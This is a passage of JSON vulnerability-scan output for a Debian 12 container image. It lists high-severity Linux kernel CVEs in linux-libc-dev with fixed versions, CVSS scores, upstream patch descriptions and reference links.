"https://git.kernel.org/stable/c/0b5e8ead71e683bcf6232db16234cf7e6d553a23", "https://git.kernel.org/stable/c/1ae7d5a6db6c190ce183e3098ca0e0846e14d462", "https://git.kernel.org/stable/c/2ad3afa40ac6aa340dada122f9abfa46c0a6eb35", "https://git.kernel.org/stable/c/5e470998a23e4c3d89ed24e8172cb22747e61efa", "https://git.kernel.org/stable/c/81ccda30b4e83d8f5cc4fd50503c44e3a33abfeb", "https://git.kernel.org/stable/c/9291654d69e08542de37755cebe4d5b02c3170d1", "https://git.kernel.org/stable/c/b1337aae5e194324e4810d561764e7793f8b3864", "https://github.com/V4bel/Januscape", "https://github.com/V4bel/Januscape/blob/main/assets/write-up.md", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/7.1.0/BRSA-tw2b161eocda.toml", "https://linux.oracle.com/cve/CVE-2026-53359.html", "https://linux.oracle.com/errata/ELSA-2026-50374.html", "https://lore.kernel.org/linux-cve-announce/2026070403-CVE-2026-53359-4f57@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53359", "https://ubuntu.com/security/notices/USN-8629-1", "https://ubuntu.com/security/notices/USN-8629-2", "https://ubuntu.com/security/notices/USN-8629-3", "https://ubuntu.com/security/notices/USN-8630-1", "https://ubuntu.com/security/notices/USN-8630-2", "https://ubuntu.com/security/notices/USN-8630-3", "https://ubuntu.com/security/notices/USN-8630-4", "https://ubuntu.com/security/notices/USN-8630-5", "https://ubuntu.com/security/notices/USN-8631-1", "https://ubuntu.com/security/notices/USN-8631-2", "https://ubuntu.com/security/notices/USN-8631-3", "https://ubuntu.com/security/notices/USN-8631-4", "https://ubuntu.com/security/notices/USN-8633-1", "https://ubuntu.com/security/notices/USN-8633-2", "https://ubuntu.com/security/notices/USN-8634-1", "https://ubuntu.com/security/notices/USN-8635-1", "https://ubuntu.com/security/notices/USN-8636-1", "https://ubuntu.com/security/notices/USN-8636-2", "https://ubuntu.com/security/notices/USN-8637-1", "https://ubuntu.com/security/notices/USN-8645-1", "https://ubuntu.com/security/notices/USN-8656-1", "https://ubuntu.com/security/notices/USN-8660-1", "https://ubuntu.com/security/notices/USN-8661-1", "https://ubuntu.com/security/notices/USN-8661-2", "https://ubuntu.com/security/notices/USN-8661-3", "https://ubuntu.com/security/notices/USN-8661-4", "https://ubuntu.com/security/notices/USN-8661-5", "https://ubuntu.com/security/notices/USN-8662-1", "https://ubuntu.com/security/notices/USN-8662-2", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8666-1", "https://ubuntu.com/security/notices/USN-8666-2", "https://ubuntu.com/security/notices/USN-8666-3", "https://ubuntu.com/security/notices/USN-8667-1", "https://ubuntu.com/security/notices/USN-8669-1", "https://ubuntu.com/security/notices/USN-8715-1", "https://ubuntu.com/security/notices/USN-8715-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53359", "https://www.openwall.com/lists/oss-security/2026/07/06/7" ], "PublishedDate": "2026-07-04T12:17:01.76Z", "LastModifiedDate": "2026-10-03T11:17:35.393Z" }, { "VulnerabilityID": "CVE-2026-53361", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53361", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7dd4f4e2220fdac12237c0b29b765b9894c19616996759d0c58da38b64c3585b", "Title": "kernel: af_unix: Set gc_in_progress to true in unix_gc()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\naf_unix: Set gc_in_progress to true in unix_gc().\n\nIgor Ushakov reported that unix_gc() could run with gc_in_progress\nbeing false if the work is scheduled while running:\n\n Thread 1 Thread 2 Thread 3\n -------- -------- --------\n unix_schedule_gc() unix_schedule_gc()\n `- if (!gc_in_progress) `- if (!gc_in_progress)\n |- gc_in_progress = true |\n `- queue_work() |\n unix_gc() \u003c----------------/ |\n | |- gc_in_progress = true\n ... `- queue_work()\n | |\n `- gc_in_progress = false |\n |\n unix_gc() \u003c---------------------------------------------'\n |\n ... /* gc_in_progress == false */\n |\n `- gc_in_progress = false\n\nunix_peek_fpl() relies on gc_in_progress not to confuse GC\nby MSG_PEEK.\n\nLet's set gc_in_progress to true in unix_gc().", "Severity": "HIGH", "CweIDs": [ "CWE-362" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53361", "https://access.redhat.com/errata/RHSA-2026:67471", "https://access.redhat.com/security/cve/CVE-2026-53361", "https://bugzilla.redhat.com/2414466", "https://bugzilla.redhat.com/2425039", "https://bugzilla.redhat.com/2454867", "https://bugzilla.redhat.com/2460699", "https://bugzilla.redhat.com/2461451", "https://bugzilla.redhat.com/2461462", "https://bugzilla.redhat.com/2461525", "https://bugzilla.redhat.com/2461575", "https://bugzilla.redhat.com/2467084", "https://bugzilla.redhat.com/2468192", "https://bugzilla.redhat.com/2468244", "https://bugzilla.redhat.com/2482566", "https://bugzilla.redhat.com/2492095", "https://bugzilla.redhat.com/2492747", "https://bugzilla.redhat.com/2492771", "https://bugzilla.redhat.com/2492779", "https://bugzilla.redhat.com/2497035", "https://bugzilla.redhat.com/2502320", "https://bugzilla.redhat.com/2502368", "https://bugzilla.redhat.com/2502412", "https://bugzilla.redhat.com/2502434", "https://bugzilla.redhat.com/2502490", "https://bugzilla.redhat.com/2513452", "https://bugzilla.redhat.com/2513477", "https://bugzilla.redhat.com/2517010", "https://bugzilla.redhat.com/show_bug.cgi?id=2414466", "https://bugzilla.redhat.com/show_bug.cgi?id=2425039", "https://bugzilla.redhat.com/show_bug.cgi?id=2454867", "https://bugzilla.redhat.com/show_bug.cgi?id=2460699", "https://bugzilla.redhat.com/show_bug.cgi?id=2461451", "https://bugzilla.redhat.com/show_bug.cgi?id=2461462", "https://bugzilla.redhat.com/show_bug.cgi?id=2461525", "https://bugzilla.redhat.com/show_bug.cgi?id=2461575", "https://bugzilla.redhat.com/show_bug.cgi?id=2467084", "https://bugzilla.redhat.com/show_bug.cgi?id=2468192", "https://bugzilla.redhat.com/show_bug.cgi?id=2468244", "https://bugzilla.redhat.com/show_bug.cgi?id=2482566", "https://bugzilla.redhat.com/show_bug.cgi?id=2492095", "https://bugzilla.redhat.com/show_bug.cgi?id=2492747", "https://bugzilla.redhat.com/show_bug.cgi?id=2492771", "https://bugzilla.redhat.com/show_bug.cgi?id=2492779", "https://bugzilla.redhat.com/show_bug.cgi?id=2497035", "https://bugzilla.redhat.com/show_bug.cgi?id=2502320", "https://bugzilla.redhat.com/show_bug.cgi?id=2502368", "https://bugzilla.redhat.com/show_bug.cgi?id=2502412", "https://bugzilla.redhat.com/show_bug.cgi?id=2502434", "https://bugzilla.redhat.com/show_bug.cgi?id=2502490", "https://bugzilla.redhat.com/show_bug.cgi?id=2513452", "https://bugzilla.redhat.com/show_bug.cgi?id=2513477", "https://bugzilla.redhat.com/show_bug.cgi?id=2517010", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40149", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68745", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31539", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31566", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31656", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43248", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43368", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43370", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46149", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52924", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53131", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53246", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53361", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63889", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63919", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64111", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68264", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68426", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74556", "https://errata.almalinux.org/10/ALSA-2026-67471.html", "https://errata.rockylinux.org/RLSA-2026:67471", "https://git.kernel.org/linus/d82ba05263c69fa2437fe93e4e561cc40f4c03af%20%287.1-rc3%29", "https://git.kernel.org/stable/c/0cfa78c050662784fc8e3ab26dbfd1dc632b2082", "https://git.kernel.org/stable/c/20aa894d475bd8086b25c1113ec4ca70f70c7a98", "https://git.kernel.org/stable/c/591f1ac217428a6d2b32a8ac14aac0fab44f155a", "https://git.kernel.org/stable/c/82c17e13d404f686e164590483fd6c1abaa675d0", "https://git.kernel.org/stable/c/d82ba05263c69fa2437fe93e4e561cc40f4c03af", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/7.1.0/BRSA-twzos5etfut8.toml", "https://linux.oracle.com/cve/CVE-2026-53361.html", "https://linux.oracle.com/errata/ELSA-2026-67471-0.html", "https://lore.kernel.org/linux-cve-announce/2026070436-CVE-2026-53361-f969@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53361", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8801-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-53361" ], "PublishedDate": "2026-07-04T12:17:02.01Z", "LastModifiedDate": "2026-10-19T20:19:16.34Z" }, { "VulnerabilityID": "CVE-2026-53362", "VendorIDs": [ "DLA-4688-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.177-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53362", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:625885447ade5e324744a08635cff737006f748491db2c5d03870fe0d6d4a630", "Title": "kernel: kernel: ipv6 frag escape", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: account for fraggap on the paged allocation path\n\nIn __ip6_append_data(), when the paged-allocation branch is taken\n(MSG_MORE / NETIF_F_SG / large fraglen), alloclen and pagedlen are\ncomputed as\n\n\talloclen = fragheaderlen + transhdrlen;\n\tpagedlen = datalen - transhdrlen;\n\ndatalen already includes fraggap (datalen = length + fraggap). When\nfraggap is non-zero, this is not the first skb and transhdrlen is zero.\nThe fraggap bytes carried over from the previous skb are copied just past\nthe fragment headers in the new skb's linear area. The linear area is\ntherefore undersized by fraggap bytes while pagedlen is overstated by the\nsame amount, and the copy writes past skb-\u003eend into the trailing\nskb_shared_info.\n\nAn unprivileged user can trigger this via a UDPv6 socket using\nMSG_MORE together with MSG_SPLICE_PAGES.\n\nThe bad accounting was introduced by commit 773ba4fe9104 (\"ipv6:\navoid partial copy for zc\"). Before commit ce650a166335 (\"udp6: Fix\n__ip6_append_data()'s handling of MSG_SPLICE_PAGES\"), the negative\ncopy value caused -EINVAL to be returned. That later commit allowed\nMSG_SPLICE_PAGES to proceed in this case, making the corruption\ntriggerable.\n\nThe non-paged branch sets alloclen to fraglen, which already accounts\nfor fraggap because datalen does. Bring the paged branch in line by\nadding fraggap to alloclen and subtracting it from pagedlen.\n\nAfter this adjustment, copy no longer collapses to -fraggap on the\npaged path, so remove the stale comment describing that old arithmetic.\nSince a negative copy is no longer expected for a valid MSG_SPLICE_PAGES\ncase, remove the MSG_SPLICE_PAGES exception from the negative copy check.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-122" ], "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53362", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/736b380e28d0480c7bc3e022f1950f31fe53a7c5%20%287.2-rc1%29", "https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=736b380e28d0", "https://git.kernel.org/stable/c/14200d435af9a9eeb444f529fc2f689a236b7962", "https://git.kernel.org/stable/c/46f201f8b4c39633a1fa3dc12459f506d470993d", "https://git.kernel.org/stable/c/6374fb9edf72c67a118a2c214a0dddd04c921e0a", "https://git.kernel.org/stable/c/65fb14cbebb0cd0eff903a22d33537ddc8b95769", "https://git.kernel.org/stable/c/736b380e28d0480c7bc3e022f1950f31fe53a7c5", "https://git.kernel.org/stable/c/e9eacf19281ea2498b36291b56c9606118c2d74e", "https://linux.oracle.com/cve/CVE-2026-53362.html", "https://linux.oracle.com/errata/ELSA-2026-500150.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53362", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8801-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-53362", "https://www.cve.org/CVERecord?id=CVE-2026-53362" ], "PublishedDate": "2026-07-04T12:17:02.113Z", "LastModifiedDate": "2026-10-15T13:46:55.187Z" }, { "VulnerabilityID": "CVE-2026-53366", "VendorIDs": [ "DLA-4688-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.177-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53366", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:912abcf511bb28101caf0da48562143eaee9357b136486dd32cec43db777d8a9", "Title": "kernel: ipv4: account for fraggap on the paged allocation path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv4: account for fraggap on the paged allocation path\n\nIn __ip_append_data(), when the paged-allocation branch is taken,\nalloclen and pagedlen are computed as\n\n\talloclen = fragheaderlen + transhdrlen;\n\tpagedlen = datalen - transhdrlen;\n\ndatalen already includes fraggap, but the fraggap bytes carried over\nfrom the previous skb are copied into the new skb's linear area at\noffset transhdrlen by the subsequent skb_copy_and_csum_bits(). The\nlinear area is therefore undersized by fraggap bytes while pagedlen is\noverstated by the same amount.\n\nThe non-paged branch sets alloclen to fraglen, which already accounts\nfor fraggap because datalen does. Bring the paged branch in line by\nadding fraggap to alloclen and subtracting it from pagedlen.\n\nAfter this adjustment, copy no longer collapses to -fraggap on the\npaged path, so remove the stale comment describing that old arithmetic.", "Severity": "HIGH", "CweIDs": [ "CWE-131" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:66180", "https://access.redhat.com/security/cve/CVE-2026-53366", "https://bugzilla.redhat.com/2467065", "https://bugzilla.redhat.com/2468102", "https://bugzilla.redhat.com/2479812", "https://bugzilla.redhat.com/2481936", "https://bugzilla.redhat.com/2482566", "https://bugzilla.redhat.com/2484456", "https://bugzilla.redhat.com/2486463", "https://bugzilla.redhat.com/2486999", "https://bugzilla.redhat.com/2492329", "https://bugzilla.redhat.com/2492811", "https://bugzilla.redhat.com/2492841", "https://bugzilla.redhat.com/2501252", "https://bugzilla.redhat.com/2502394", "https://bugzilla.redhat.com/2510892", "https://bugzilla.redhat.com/2511932", "https://bugzilla.redhat.com/2516731", "https://bugzilla.redhat.com/2517046", "https://bugzilla.redhat.com/show_bug.cgi?id=2467065", "https://bugzilla.redhat.com/show_bug.cgi?id=2468102", "https://bugzilla.redhat.com/show_bug.cgi?id=2479812", "https://bugzilla.redhat.com/show_bug.cgi?id=2481936", "https://bugzilla.redhat.com/show_bug.cgi?id=2482566", "https://bugzilla.redhat.com/show_bug.cgi?id=2484456", "https://bugzilla.redhat.com/show_bug.cgi?id=2486463", "https://bugzilla.redhat.com/show_bug.cgi?id=2486999", "https://bugzilla.redhat.com/show_bug.cgi?id=2492329", "https://bugzilla.redhat.com/show_bug.cgi?id=2492811", "https://bugzilla.redhat.com/show_bug.cgi?id=2492841", "https://bugzilla.redhat.com/show_bug.cgi?id=2501252", "https://bugzilla.redhat.com/show_bug.cgi?id=2502394", "https://bugzilla.redhat.com/show_bug.cgi?id=2510892", "https://bugzilla.redhat.com/show_bug.cgi?id=2511932", "https://bugzilla.redhat.com/show_bug.cgi?id=2516731", "https://bugzilla.redhat.com/show_bug.cgi?id=2517046", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43339", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43493", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46149", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46306", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46330", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53223", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53275", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53366", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64034", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64563", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64597", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72129", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74480", "https://errata.almalinux.org/9/ALSA-2026-66180.html", "https://errata.rockylinux.org/RLSA-2026:66180", "https://git.kernel.org/linus/eca856950f7cb1a221e02b99d758409f2c5cec42%20%287.2-rc1%29", "https://git.kernel.org/stable/c/5c6375bced6147ec2e460ee3b653f4860d5ecdc2", "https://git.kernel.org/stable/c/77798d7be6ef71e72fb6fc8a2901bf74ebc9706f", "https://git.kernel.org/stable/c/a9c24eda24bd15f432e37824e6fc440977cb241c", "https://git.kernel.org/stable/c/c04d9ece23deb9e26c19f9ca215e98b3295aa1bb", "https://git.kernel.org/stable/c/ce494707a9c07f27c219ca67f3e138061f53d9b3", "https://git.kernel.org/stable/c/eca856950f7cb1a221e02b99d758409f2c5cec42", "https://linux.oracle.com/cve/CVE-2026-53366.html", "https://linux.oracle.com/errata/ELSA-2026-66180-0.html", "https://lore.kernel.org/linux-cve-announce/2026071639-CVE-2026-53366-f508@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53366", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-53366" ], "PublishedDate": "2026-07-16T06:16:27.333Z", "LastModifiedDate": "2026-10-19T20:19:16.52Z" }, { "VulnerabilityID": "CVE-2026-53374", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53374", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:149ca4d8dcda3d3aa855797a44797a9aacf748bccc6ef1a68838bf8f1a88fc81", "Title": "kernel: drm/amdgpu: zero-initialize GART table on allocation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: zero-initialize GART table on allocation\n\nGART TLB is flushed after unmapping but not after mapping. Since\namdgpu_bo_create_kernel() does not zero-initialize the buffer, when a\nsingle PTE is written the TLB may speculatively load other uninitialized\nentries from the same cacheline. Those garbage entries can appear valid,\nand a subsequent write to another PTE in the same cacheline may cause the\nGPU to use a stale garbage PTE from the TLB.\n\nFix this by calling memset_io() to zero-initialize the GART table with\ngart_pte_flags immediately after allocation.\n\nUsing AMDGPU_GEM_CREATE_VRAM_CLEARED, SDMA-based clear will not work\nsince SDMA needs GART to be initialized to work.\n\n(cherry picked from commit d9af8263b82b6eaa60c5718e0c6631c5037e4b24)", "Severity": "HIGH", "CweIDs": [ "CWE-457" ], "VendorSeverity": { "alma": 3, "azure": 4, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-53374", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", 